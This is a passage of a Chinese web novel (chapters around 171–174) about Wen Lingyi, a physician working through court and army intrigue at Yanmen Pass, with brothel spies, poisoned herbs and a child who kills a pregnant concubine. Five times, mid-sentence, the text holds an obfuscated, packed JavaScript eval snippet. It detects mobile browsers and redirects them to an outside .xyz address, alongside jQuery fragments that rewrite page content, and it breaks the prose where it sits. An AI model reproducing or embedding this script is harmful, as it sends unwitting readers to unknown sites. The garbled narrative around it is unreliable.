“雀枝是个随行洒脱的人。”温令仪取出来脉枕放在桌子上:“我给罗副将请个平安脉,让你的亲兵叫来了军医,一会儿我要查看一下伤口。” 罗政有些不好意思:“没事,伤口都快好了。” “不可大意。”温令仪看罗政。 罗政不好意思的伸出手,看温令仪的纤纤玉指按在自己的手腕上,只觉得心都要跳出来了,心脏跳动的声音让他脸更红了,生怕温令仪感觉到自己这没出息的样子。 偷偷看温令仪,见她容色淡然,这才松了口气。 “罗副将何须如此情绪激动呢?平静下来才能让我看出来脉象中的不妥之处。”温令仪说。 罗政恨不得找个地缝儿钻进去,清了清嗓子:“我、我这不是因为对你心思不纯吗?” “那不看病了?不看病也就罢了,毒也不解了?”温令仪撩起眼皮儿看罗政,收回了手。 罗政愣住了,看着温令仪依旧淡然的模样,嗤笑出声:“果然,这龌龊的小人!” “罗副将,入仕不管是从文亦或行伍,倾轧从来就没有断过,这也是为何当初你执意要来雁门关,罗伯父登门希望我劝说罗副将一二的原因,若只凭着一腔孤勇,如何在这尔虞我诈的名利场中生存?生存都不能的时候,还说什么建功立业呢?”温令仪抬起手。 罗政这次再让温令仪诊脉,心里没了一丝一毫旖旎的心思,而是在琢磨温令仪这番肺腑之言。 无异于当头棒喝,他只是不得不当纨绔,又不是真正的草包。 罗家一门的荣辱关乎每个人,自己更不能置身事外,不管自己是阵前立功亦或是折损在雁门关,对于自己的亲人来说,都没有好好活着更好,战争是残酷的,而他走这条路的初衷是为了温令仪不假,可何尝不是为了让自己能对得起自己这七尺之躯,为人一回呢? “到底是那些人有顾忌,不敢把事做的太明显,**不深。”温令仪收回手,从袖袋里取出来一个小瓷瓶放在桌子上:“这是药王谷的解毒丹,回头我会多制一些,但凡顶着天子门生的人都分发下去,切不可把这件事摆在桌面上说,余下的事情我解决。” 罗政摇头:“我们一群爷们有事,怎么能让你个女子挡在前面?” “罗政啊。”温令仪突然叫了罗政的名字。 罗政只觉得一股子冷气从后脊梁骨直接冲到了天灵感,差点儿就站起来恭敬地听着了,反应过来看温令仪,自己都纳闷,为何对温令仪有敬畏心了?这是咋来的? “我此行来雁门关为了两件事,其中一件就是为了对得起罗老大人、罗伯父和罗小大人的照拂,看看你在这边可顺遂,男儿志在四方没错,但有勇有谋方能建功立业。”温令仪说。 罗政问:“那另一件事呢?” 温令仪勾了勾唇角:“事以密成。” 罗政:……!!! 自己配不上她,尽管这想法在心里像是钝刀在磨着肉一般的感觉,可罗政知道自己太鲁莽了。 “军医为何还不来?”温令仪往门口看了看。 罗政起身:“我这就让人去找来。” 这点子规矩自己是懂得的,温令仪需要避嫌,不管是为了她还是为了自己。 温令仪端起茶抿了一口,扫了眼罗政放在桌子上的兵书,她并不介意罗政对自己有想法,甚至心里都有愧疚感,但若能因这份心思让罗政能拼杀出来一个好前程,未必就是坏事。 两个人之间的缘分到底怎么走,可不是一个人说了算的,自己敬重罗家人,不止是为官经商的人,还有罗政在内。 军医来的时候,温令仪微微颔首。 “晏夫人是药王谷的得意弟子,小人这点儿子微末本事献丑了。”军医拱手一礼。 温令仪起身还礼:“能阵前与阎王爷抢人,在令仪心中乃是深埋功与名,却最值得尊敬的人,请。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845042|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 军医年纪三十开外,听到这话微微触动了心绪,世间英雄无数,不见军医之名,能得到温令仪这么一句赞誉,心里舒坦的厉害。 罗政背对着二人,解开了中衣的带子。 军医自报家门:“小人并无门派,是家传治外伤的本事,入行伍后便当了军医。” “家传都专精一道,代代相传能至臻境,请问该如何称呼?”温令仪问。 军医不好意思了,掀开罗政的中衣,露出后背那一道伤口,从左肩胛骨到右肋,还要包扎一段日子才行:“小人姓邓,家里行二。” “邓二哥,可否解开纱布,让我看看罗副将的伤?”温令仪问。 邓二立刻一圈圈的解开了纱布,说:“怕罗副将不注意再把伤口崩开,当时的伤太重了。” 随着邓二的动作,伤口露出来了,温令仪知道罗政肯定受了重伤,可没想到这重,除了最长的这一道伤口,小的伤口还有不少。 再仔细检查伤口缝合的针脚和愈合情况,啧啧两声:“罗副将遇到了高人,这般缝合的法子我只见师父用过。” 邓二心里是得意的,被夸奖,被药王谷的人夸奖,这可不是什么人都能得到的。 温令仪收回手,转过身:“邓二哥,但伤药的药力还欠了点儿,我有一个外伤用的方子,赠与邓二哥。” 邓二愕然的看着温令仪,连连摆手:“可不妥当,可不妥当。” “没什么不妥当的,赠与有缘人,能救更多人,这才是岐黄之术的道。”温令仪也没客气,过去罗政的桌案前,研墨写方子,一连写了三个,止血的、愈合的还有一个是麻醉用的。 写好了方子,送到邓二面前:“邓二哥手下方子,我还有事相求。” 这下,邓二都不好拒绝了,双手接过来方子:“多谢晏夫人赠方之恩。” “邓二哥,军中草药不安全,有人对一些药材动了手脚,但凡方子上我在草药下面用朱笔点了的草药都不能用,你留意一下军中的军医,不动声色的查出来是什么人做的手脚,直接告诉罗副将,他会处理的。”温令仪说。 邓二脸色大变:“晏夫人,这都看出来了?小人也在怀疑,可人微言轻不敢动,所以给罗副将用的草药,我能进山采就进山去采。” 温令仪微微福身:“受累了,罗副将必定能护邓二哥周全的,我先告辞了。” 邓二目送温令仪离开,回头看罗政。 罗政嘴角一抽:“你猜,她知不知道你的底细?” 第171章 下手一点儿轻重也没有 邓二苦笑。 外行人无所谓,内行人跟前就是无所遁形。 自己倒也没那么尴尬,以后真提起来,自己也是为了家族考虑,想来温令仪必定能理解。 此时,温令仪和若桃走在街上,雁门关城内并不荒凉,比关内一些府城繁华许多。 两国没有开战之前,民间的贸易在南需要通过雁门关,在北则要通过漠北城,所以主街两边客栈、酒肆林立,但因两国交战越发频繁,街上的行人不多。 在红花楼对面,温令仪停下了脚步,抬头看着匾额。 军事驻地,唯有雁门关和漠北两处是设官妓坊的。 官妓坊是京城贵女的噩梦,看似八竿子打不着,可一旦在朝为官的人犯下大罪,女眷免了死罪但不可能免了活罪,只要不是老妪都会被发配到官妓坊。 官妓坊也不对外人开放,驻地的将士们可随意取用。 除了官妓坊,雁门关多了红花楼,红花楼里的姑娘有多少不知道,但是梅娘四姐妹开起来的。 “哟~”梅娘从红花楼里走出来,摇着腰肢,一身桃红色绸缎襦裙,天气虽然凉了,但不妨碍她露出胸前的一大片洁白,风情万种的来到温令仪面前三步远处,扬声:“我当时谁呢?原来是大元帅的夫人啊,怎么着?来红花楼是想要进去坐一坐?” 温令仪微微蹙眉。 梅娘低声:“主子,打我。” 温令仪倒也没犹豫,扬起手就给了梅娘一个耳光,怒道:“不知羞耻的贱蹄子,这里是谁的产业?” 梅娘做戏那是真做全套的,一只手捂着脸,一只手叉着腰:“打我有何用?奴家不知羞耻过得滋润,大元帅疼惜奴家,给了红花楼安身立命,怎么?你不服气啊?” 温令仪一甩袖子,带着若桃直接进了红花楼。 梅娘在后头跟上来,嚷嚷道:“大胆!这是大元帅给奴家的地方,你凭什么进去!你凭什么啊?” 嘴上这么嚷嚷,脚步急匆匆的跟上来。 进了红花楼,大门关上了。 温令仪停下脚步等梅娘。 梅娘走上来的时候,温令仪低声问:“疼了吧?” “主子,您啊,不舍得使力气,回头被人看出破绽,那我们几个还有啥用了呢?”梅娘笑嘻嘻的说:“快进吧,这外面不是说话的地方。” 红花楼里的一切都跟京城的那些楼子一样,此时并没有多少人走动,毕竟姑娘们都在休息。 梅娘引着温令仪坐在上座,吩咐手底下的人看好了门口,不需要任何人伺候,只叫来了自己的三姐妹。 梅娘带着自己的姐妹跪下给温令仪磕头。 温令仪柔声:“起来吧,为难你们来到这边受苦,若是心里头厌倦了,身契早就还给你们了,尽可去过自由的日子。” 梅娘起身坐在椅子上,三姐妹坐在后面。 “主子的恩情比天大,我们姐妹能得自由身不易,您如再生父母一般,若不能看到主子得偿所愿,日子顺遂无忧,我们四姐妹是不会离开的,任凭主子差遣,刀山火海在所不惜,人生在世为知己者死都无悔,何况主子这般救了命的恩人呢。”梅娘说罢,低声让兰娘去把东西取过来。 兰娘出去片刻回来,手里拎着小箱子。 温令仪打开,里面是西凉国师的书信,还有晏怀卿手底下人的底细,收起来转身教给了若桃:“送去给师兄。” 若桃点点头,提着箱子离开。 梅娘一开始就注意到了若桃,漂亮的姑娘见识过不少,主子身边跟着的姑娘确实漂亮,但眼神太纯净了,少了心机城府,这样的人跟在主子身边可太危险,晏怀卿是披着人皮的畜类。 思及此,梅娘说:“主子,那位姑娘本事如何?” “放心吧。”温令仪没多说。 梅娘给温令仪斟茶:“晏怀卿不是个东西,主子要提防着他对那位姑娘有什么不轨的心思。” “好。”温令仪喝茶后,给四姐妹诊脉。 开了药方后,才说:“你们在这边不容易,万万不可粗心大意,这药浴的方子每日都要用,内服的方子用七日,停半月,再用七日,如此往复才能护你们周全。” 四姐妹跪下磕头。 世人只知道青楼女子整日里吃喝玩乐,哪里知道她们不为人知的苦楚,四个人都见识过年老色衰的前辈下场是多么的凄惨,更见过年纪轻轻就染了脏病,生不如死的姐妹。 竹娘是最严重的,要不是温令仪出手,只怕就真染了脏病,如今能健康的活着是温令仪给的福分,梅娘几个也是如此,或多或少都亏空的厉害,温令仪给的方子,不论是外用还是内服,调理到今日,都好了,这让四姐妹敢期待有朝一日过安生的日子,到老了不至于多遭罪,能得个善终。 所以,四姐妹对温令仪的感情,外人怎么可能体会得到呢? 温令仪让他们起来,梅娘递过来了马鞭:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845043|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子,不必手软?” 这怎么下得去手?温令仪提着马鞭,让姐妹四个人退后,扬起鞭子开始砸屋子里的摆设、杯盏。 得了消息的晏怀卿急匆匆敢来,进门就见到站在一片狼藉中的温令仪和躲在角落里瑟瑟发抖的梅娘四姐妹,只觉得头大如斗,正欲上前,就听到有人断喝一声:“谁欺负了我师妹!” 话音落下,沐白冲了进来,手里提着宝剑,直接把温令仪护在身后,转过头用宝剑指着晏怀卿:“你就是这么护着发妻的?” 晏怀卿呱嗒就撂了脸色,走进来:“你只是令仪的师兄,是不是逾矩了!” “逾矩?”沐白嗤笑:“你丧德败行不是一朝一夕,如今驻守雁门关,抵御入侵,不为朝廷殚精竭虑,府里小妾不说,外面还开了楼子,养了这些个妓子,我作为师兄逾矩了,你作为臣子不逾矩?” 晏怀卿怒道:“休得胡言乱语!” “师妹,回京可去告御状,我就不信还没人治得了他这个人面兽心的畜类了!”沐白说罢,啐了一口:“滚开!” 温令仪咬牙切齿的对晏怀卿点了点头,跟沐白离开了红花楼。 二人还没到门口,身后就哭声一片,晏怀卿断喝一声:“够了!” 出了红花楼的门,沐白回头看了眼关上的大门,低声:“你到底背着我们师兄几个,还做了多少事啊?” 温令仪低声回道:“反正挺多的,师兄,那些东西保存好,我想裴祈安的人也快到了,该什么时候送回京城,送到皇上手里,裴祈安自会做主的。” 沐白点头。 二人回到将军府,也没有什么好说的,直接带着所需行李出府,住进了客栈里。 进了客栈,沐白打量了一眼迎过来的掌柜,抬起手压了压额角,问:“这也是你的人?” 温令仪笑着挑眉:“算是吧。” 晏怀卿安抚好了梅娘几个人,急匆匆回府,刚到门口就见到了晏明昭。 晏明昭跑过来跪在地上:“父亲,上阵父子兵,你要相信昭儿,昭儿有用啊,温令仪就是找借口跑了的,怕父亲对她不利。” 一肚子火的晏怀卿一脚踹开了晏明昭,丧门星,什么话都敢说出来,也不怕隔墙有耳,冷声:“再敢胡言乱语,诋毁你的母亲,我打死你!” 小张氏跑过来抱起晏明昭,眼泪往下掉,用帕子给晏明昭擦嘴角血迹,这还是亲爹吗?怎么下手一点儿轻重都没有啊! 第172章 晏怀卿和穆青反目成仇 平安客栈。 掌柜姓钱名三江。 温令仪想到了京城货行的铁四海,微微的勾起了唇角。 钱掌柜给准备了最好的宅院,沐白等人的宅院隔着一个小花园,一东一西也方便照顾。 沐白没有多想,倒是若桃说什么也不愿意跟温令仪住在一个院子里,非要住在沐白这边。 温令仪苦笑,若桃虽有赤子之心,但并非什么都不知道,比如自己和裴祈安的关系,虽然没人对她说,可若桃有一身极好的武功,耳力自是非凡,听到点儿什么也寻常。 再者钱掌柜如此安排,显然是裴祈安授意的。 果然,当晚裴祈安抱着小囡囡出现在温令仪面前。 “你们两个一直都在我身边?”温令仪有一种一举一动都在裴祈安的监视之中的感觉。 小囡囡笑眯眯的说:“爹爹说了,娘亲必定不会留在那边,太危险了。” 这确实。 温令仪露面是必须的,去红花楼是必须的,不住在元帅府更是必须的,就算自己有心防备也不能明知道危险还要以身试险。 “刚好这些可以交给你。”温令仪把梅娘收集到的证据交给了裴祈安。 裴祈安坐下来翻看后,笑了:“有些人愿意找死,这样也挺好的,西凉本就会从这里入大夏,他真以为自己想得周到呢。” 温家人驻守漠北,漠北就必定不会成为交战之地,偶有摩擦也是迷惑别人的计策,这一点就算裴祈安不说,温令仪也是心知肚明的。 “娘亲,我这边也有好消息。”小囡囡一脸献宝的样子看着温令仪。 温令仪挑眉:“我的小囡囡啊,那可是江湖上举足轻重的人物,我都不用猜也知道的,漕帮遭殃了。” “娘亲厉害。”小囡囡笑眯眯的抬起小手:“还有周仓就在雁门关,虽然没有和穆青在一起,但居住之地我已经查到了,无影堂和千丝门倒是还算有江湖道义,手底下的高手都追随墨染在西域三十六国奋战,所以娘亲,我想要收服千丝门和无影堂,不难。” 温令仪捏了捏小囡囡的脸蛋:“囡囡真厉害。” 裴祈安从袖袋里取出来一张纸递给温令仪:“要给囡囡取个名字了。” 温令仪接过来看着上面满满一页的名字,笑了:“看来,这是要给小囡囡正身份了,不觉得有点儿早吗?” 毕竟现在温令仪的身份还有些尴尬。 “不着急公开,西域三十六国走一遭,小囡囡在大夏是天道盟的少主,但去见萧玄策,她的身份要是我裴祈安的女儿。”裴祈安说。 温令仪坐下来仔细挑选名字,目光落在了裴明熙三个字上了。 “我也属意这个名字。”裴祈安说。 温令仪看小囡囡:“若是叫这个名字,囡囡以后可要像女中丈夫一般了,可愿意啊?” “娘亲,为何不愿意?人间走一遭就得做出来轰轰烈烈的大事才不白活一回。”小囡囡说着,扬起小下巴:“我一定会成为青史留名的奇女子。” 温令仪心里有些失落的。 世人都说,赐子千金不如赐子一技,赐子一技不如赐子一名,名字的重要性可见一斑。 囡囡还这么小就有如此抱负,确实有不可限量的将来,而自己和裴祈安之间的关系见不得光,最终的归宿也是药王谷,母女缘分有些浅了。 不过转念一想,有何不可? 世间女子多依附于男人才能立足,但女子才能可不弱于男子分毫,别人不说,墨染能成为江湖盟主,一声号令江湖人奔赴西域三十六国为大夏奋战,这样的女子岂能是寻常须眉可比? 小囡囡从小就透出不一般,虽说与之来历有很大关系,可正因为来历有异才更能不受约束,成就比墨染可能还要大,自己没有资格因为十月怀胎就要让她按照自己的心意去选择将来。 “好,那就叫裴明熙。”温令仪看裴祈安:“小囡囡是你的长女,裴祈安,你我之间无论到了什么境地,你若对囡囡有半分怠慢,我都会以命相搏,纵然以后你子女无数,也要明白囡囡来之不易,决不可受半分委屈。” 裴祈安眸子缩了缩,温令仪想要逃走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845044|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?怎么可能? 自己这一辈子都不会放开她的手,而自己所做一切都是为了让妻女成为这世上最荣光无限的人! 但这样的话还不能说,言之尚早。 当晚,裴祈安带着小囡囡离开了,带走了红花楼收集的证据。 温令仪知道裴祈安就在客栈里,那又如何?自己和他之间,少见面就能少纠缠,终究不是一路人。 平安客栈里睡得踏实,却不知道她好眠之时,晏怀卿几近癫狂,温令仪连住一晚都不肯,还住进了裴祈安的暗桩,真以为他是草包吗?雁门关里的底细一清二楚! 而他还想和裴祈安联手,总不能闹僵了,偏偏穆青得知温令仪来了雁门关,当晚就让人把他送到了元帅府,奈何温令仪不在,动手的机会都没有。 “你就是个废物!”穆青气急败坏的指着晏怀卿:“当初我就应给选裴祈安!看你这些年都做了什么?脑子里都是什么污糟的玩意儿!” “穆青!”晏怀卿额头青筋凸起:“我如今是雁门关主帅!你大放厥词是想要让我丢人现眼吗?这些年你不也是屡战屡败?若非你觊觎温令仪的血和用她肉身养蛊,若非我秦国公府能庇护你,你会有机会在京城立足?” 穆青坐在轮椅上,身子气得颤抖。 晏怀卿啐了一口:“若不是你,我就算迎娶温令仪,也绝对会和她做好夫妻,会得到温家的助力,半边月的毒只有你能解?可是你倒是解毒给我看看?我到现在才知道,天成子虽然不能解半边月的毒,但能克制,裴祈安能行走在光天化日之下就是明证,你利用我在前,毁了秦国公府又要毁了我,如今还敢对我吆三喝四,你真以为我不敢杀你!” 黑衣人瞬间出现,一掌击在晏怀卿的前胸,晏怀卿自问武功不弱,可连躲闪的机会都没有,人从窗口飞了出去,跌在地上口吐鲜血。 穆青闭了闭眼,黑衣人一击即中,退到身后不做声。 晏怀卿爬起来,跌跌撞撞的离开了穆青的院子,恶狠狠的回头看着院门,他要杀了穆青!一定要杀了穆青才能解心头之恨! 第173章 这一家人都得了失心疯吗? 晏怀卿回到自己的院子,取出来内伤药送到嘴边直接扔了,这是穆青给的,穆青心思歹毒,但凡穆青给的东西都不能用! “福安!”晏怀卿坐在椅子上:“去把罗政那边的军医叫来。” 福安赶紧出门去。 邓二被急急地召进城,来到元帅府。 晏怀卿看着拱手行礼的邓二,缓缓地说:“邓家祖上是前朝太医院院首,邓南望老爷子有三子,长子邓乔有两子,其中小儿子叫邓秀林,是吧?” 邓二拱手再次行礼:“元帅所说无差。” “你从小就励志要让邓家重新成为杏林泰斗,醉心医道,一生只有一个好友是罗政,罗政要来雁门关,你化名邓二入行伍,是想要保罗政安危。”晏怀卿说。 邓二抬头:“元帅召我前来就是为了说这些话?我在军中从不曾懈怠,把疗伤救人视为己任,纵知别处伤兵多死于非命也从不过问,只需要保证罗政和罗政手底下的兵士安全就好,未曾越界。” “看来,你知道的不少。”晏怀卿说:“我受伤了,内伤。” 邓二点头:“只要元帅信得过,我就尽力救治。” 晏怀卿让邓二上前诊脉,邓二开了方子交给福安:“晏夫人说过,军营里的草药都被动了手脚,如果想要安全,需进山采药,刚好元帅所需草药都是军中要常备的药物,可让人随我去城外军营取来,那些草药都是我亲自进山采的。” “好,福安。”晏怀卿只信任福安。 邓二走到门口转身回来,拱手一礼:“元帅,您的夫人身边有药王谷的人,他们个个都医术高超,军中的每一个兵士都是元帅立足的根本,请元帅肃清军中那些害群之马,唯有如此才能让元帅立下不世之功。” 晏怀卿点了点头。 邓二离开,福安是半夜回来的,进门就熬药,天蒙蒙亮的时候,晏怀卿喝下了邓二给的草药,心口顿时顺畅了许多。 一夜未眠却毫无困意,晏怀卿在想邓二的话。 军中害群之马,还不是为了供养穆青,自己倒是想要用药王谷的人,可一旦药王谷的人插手军中伤患的事,穆青那边必定跳脚,自己只是想要跟穆青摆明态度,在还不能杀了他之前,自己就不能得罪他太深。 正想着,福安进来禀报:“老爷过来了。” 晏戈从外面进来,打从也用了缠丝毒克制半边月后,晏戈只觉得自己都年轻了许多,一扫在京城时候萎靡不振的样子,神采奕奕。 进门看晏怀卿脸色不好,微微蹙眉:“这是怎么了?” “父亲。”晏怀卿请晏戈落座,低声把昨晚的事说了一遍。 晏戈微微眯起眼睛:“你糊涂啊。” “父亲何出此言?”晏怀卿愣住了,本以为父亲会护着自己,毕竟是穆青太不尊重人了。 晏戈低声:“受制于人的时候,哪里还能硬气?如今温令仪到了雁门关,你和穆青的目标是一致的,各取所需就能合作,瑾瑜啊,父亲年纪大了,解毒都没有必要,而你正是好时候,手握重兵,意气风发,将来更可能恢复秦国公府的无限荣光,所以要解毒。” 晏怀卿点头,父亲所说确实没错。 “解毒之后,你就不用受制于人,到那个时候怎么硬气不行?他一个江湖郎中,只不过是厉害了点儿,难道还能上天?贫不与富斗,富不与官争,江湖是匪,朝廷是官,历朝历代都有江湖,你可见到过江湖中人敢和朝廷分庭抗礼?不过是能做到井水不犯河水,相安无事就好,所以就算你心里早就想先要杀之而后快,也要隐忍,等待时机啊。”晏戈说。 晏怀卿豁然开朗,转而又有些无地自容,这样的道理还要父亲提点,自己可是真真少见识了。 晏戈抿了一口茶:“这也不怪你,一直以来都在京城那弹丸之地,秦国公府又少与外人走动,你才会不懂那些尔虞我诈的人情世故,如今可不是当年了,瑾瑜要处处都用心才行啊。” “父亲,儿子还有一件事和您商量。”晏怀卿低声。 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845045|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈挑眉:“说来听听。” “晏明昭。”晏怀卿说:“晏明昭来历本已经被温令仪知道了,如今这孩子又处处都透着诡异,我曾找人看过生辰八字,晏明昭命格十恶大败,乃是我晏家的丧门星。” 晏戈眉头蹙起:“为何你会找人看这个?” “那还是在京中,诸事不顺本就心里烦躁,行走在街上被一个游方道人叫住了,说我身边有一凶星,我觉得奇怪就问了几句,结果这凶星便是晏明昭。”晏怀卿说。 他确实对晏明昭厌恶至极,偏偏晏明昭还总要在自己面前跳来跳去,如今自己身边的妾室已经怀孕,到时候名正言顺的记在温令仪的名下、不,记在小张氏的名下就行。 小张氏可比温令仪更好掌控,只要自己让她做什么,必定言听计从。 日后家里和睦,儿女必定也能成群,反倒晏明昭这个混蛋必须要死。 当然,为了说服晏戈,他不能说是因为温令仪的话让他惊醒,唯有说游方道人才会让父亲信服。 晏戈起身在屋子里来回踱步,刚要说话就听到门外传来了晏明昭的声音。 “祖父。”晏明昭哭着跑进来,一把抱住了晏戈的大腿:“祖父救救我啊。” 晏戈本来是非常喜欢晏明昭的,可听完晏怀卿的话,心里就游移不定了。 晏明昭抬头时,满脸泪痕:“祖父,昭儿到底哪里不好了,惹得父亲嫌弃,昭儿是真心实意的想要让秦国公府重回往日荣光啊,那温令仪绝非善类,可是父亲却对我厌恶至极,祖父啊,昭儿才能让晏家兴旺的人啊。” 晏戈大惊,这是一个孩子该说出来的话吗? 不足两岁,口齿伶俐就已经了不得了,竟还能思维敏捷,甚至考虑的都是什么? 这是个妖物! 晏怀卿起身,指着晏明昭:“滚出去!” 晏戈厉声:“福安,带出去好好看管!” 晏明昭愕然的瞪大眼睛,怎么了,这一家人都得了失心疯吗? 第174章 叶老弟,看来你们缘分不浅啊 晏明昭被福安拎出来,丢到了柴房里。 门被落锁的声音传进来,晏明昭只觉得眼前都模糊了,怎么会变成这样?偏偏他现在太小,离开这里别说以后建功立业,就是自保都难。 他抱紧自己都还止不住浑身颤抖,那种恐惧是从骨子里长出来的,就在刚才他感觉到了,晏怀卿对自己动了杀心,是真的想要杀了自己。 上一世没有温令仪,没有小张氏,更没有那两个怀了孕的妾室,由始至终秦国公府只有自己。 本来父亲慈爱,母亲温柔,两个人为了给自己铺路忍辱负重,为什么一切都变了啊! 他该怎么办? 他以为小张氏一定会很快来救自己,可天都黑了,根本不见任何人来,饥肠辘辘的他忍不住走到门口,用力的拍打着门板呼救。 可嗓子都喊哑了,也没人搭理他,绝望地他靠在门板上滑坐到地上,眼神透着阴狠,抬头看着上面的窗户,抱着柴往窗口堆,堆够高爬上去,窗外恰巧下面有一个大水缸,水缸上面放着木盖子,慢慢尝试着下去,刚好够他的身高,大缸上还放着一个木桶。 漆黑的夜里,他鬼魅一般往后院去,小妾住在父亲院子的旁边,院门口没人守着,屋子里只有昏暗的夜灯,晏明昭微微的眯起眼睛,物以稀为贵的道理他懂,晏怀卿为何会不喜自己?还不是因为这两个小妾都有了身孕?只要弄死她们,自己依旧是他唯一的血脉。 一声惨叫传来。 惊动了门外的婆子,婆子进门掌灯,回头看到肚子往外冒血的铃姨娘,眼前发黑的她往外跑,大喊:“**啦!**啦!” 晏怀卿赶来的时候,铃姨娘已奄奄一息,抓着晏怀卿的衣袖,一张嘴,嘴里的鲜血就往外涌出:“孩子、孩……子……” “什么人害你?是什么人?”晏怀卿状若疯魔,这可是自己的血脉啊! 铃姨娘双目瞪得圆圆的咽了这口气。 晏怀卿怒道:“查!给我查!” 噗通一声。 晏明昭回到了柴房,兴奋地眼底发红,不知疲惫的把那些柴都挪开,从怀里摸出来糕点大口小口的吃进去,听着外面嘈杂的脚步声和哭喊声,嘴角勾起一抹冷笑,躺在软草上睡着了。 睡得太沉,睁开眼睛看向窗户,透进来的光很亮,他揉了揉眼睛。 两辈子加在一起都没有过得如此狼狈不堪,他知道今天依旧没人会想起自己,那个该死的姨娘和那个小崽子**,但还不够,还有一个! 晏明昭没有哭喊,把昨晚没吃完的糕点吃进去,找了个木棍磨得尖尖的,握在手里长短合适,放在一边躺下睡觉,等着天黑。 元帅府里闹翻了天,晏怀卿急怒攻心又无处发泄,把看顾着铃姨娘的婆子杖毙在院子里,夜里加派人手保护府中主子的安危。 他再次来到穆青的院子里。 穆青正在晒太阳,旁边的黑衣人像是一截木头桩子似的,正眼都没看晏怀卿一眼。 “你对我的人下手?你可知道铃姨娘怀着我秦国公府的血脉!”晏怀卿猜不出旁人,甚至都没怀疑温令仪,温令仪对自己的事从来都漠不关心,杀铃姨娘的事绝不会做,但穆青会用铃姨娘和肚子里的孩子敲打自己。 穆青扫了眼晏怀卿:“那些个腌臜人,还不配我出手,少在我这里叫唤,不然一拍两散。” 晏怀卿刚要在说话,穆青打开了手里的罐子,罐子里爬出来一只红眼的蜈蚣,吓得他转身就跑,自己这辈子已经够倒霉了,半边月的毒、缠丝的毒,他可不想被穆青下蛊。 平安客栈里。 温令仪收拾妥当后,准备去拜见周仓。 作为知晓一切江湖事的百晓生,周仓的来历一直都是迷一样的存在,江湖上人人都给他面子,可也少有人能见到真容,只是传闻周仓曾是个书生,屡试不中后放荡江湖,再后来就成了百晓生。 小囡囡提供了周仓的住处,温令仪坐进马车往这边来,沐白赶车。 “昨晚有人潜入元帅府杀了晏怀卿的一个妾室,听闻是腹部中招,一尸两命。”沐白说。 温令仪微微蹙眉:“可有什么眉目?” “没有,不知道周仓能不能知道。”沐白说。 温令仪不觉得周仓会知道,毕竟晏怀卿不是江湖中人,再者晏怀卿**一个妾室,还真算不上大事。 在一处幽静的院子外停下马车,温令仪取出拜帖上前叫门。 开门的是个五六岁的稚童,打量着门外的温令仪,问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845046|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是什么人啊?” “我是温令仪,拜见周大先生,这是拜帖。”温令仪送上拜帖。 稚童想了想接过来拜帖,转身进门。 书房里,两个人正在对弈,稚童捧着拜帖进门:“师父,师父,你们说的温令仪在门外,要见您。” 周仓抬眸看对面的人:“叶老弟,看来你们缘分不浅啊。” 跟周仓下棋的人正是叶良。 叶良摇头:“她哪里跟我有缘?周大哥有客到,愚弟回避。” 周仓本不想见,不过叶良的话倒是让自己不得不见了,吩咐道:“阿彦,请温令仪来书房吧。” 稚童得了吩咐出门去,叶良起身行礼离开书房往后院的精舍去,他一个月前就到了雁门关,本想要往西凉去看看,奈何两国之间摩擦不断,拿不到路引也出不了关。 倒是在这里结识了周仓,两个人颇为投缘,遂结拜为异性兄弟,周仓让叶良在雁门关住下,等待时机。 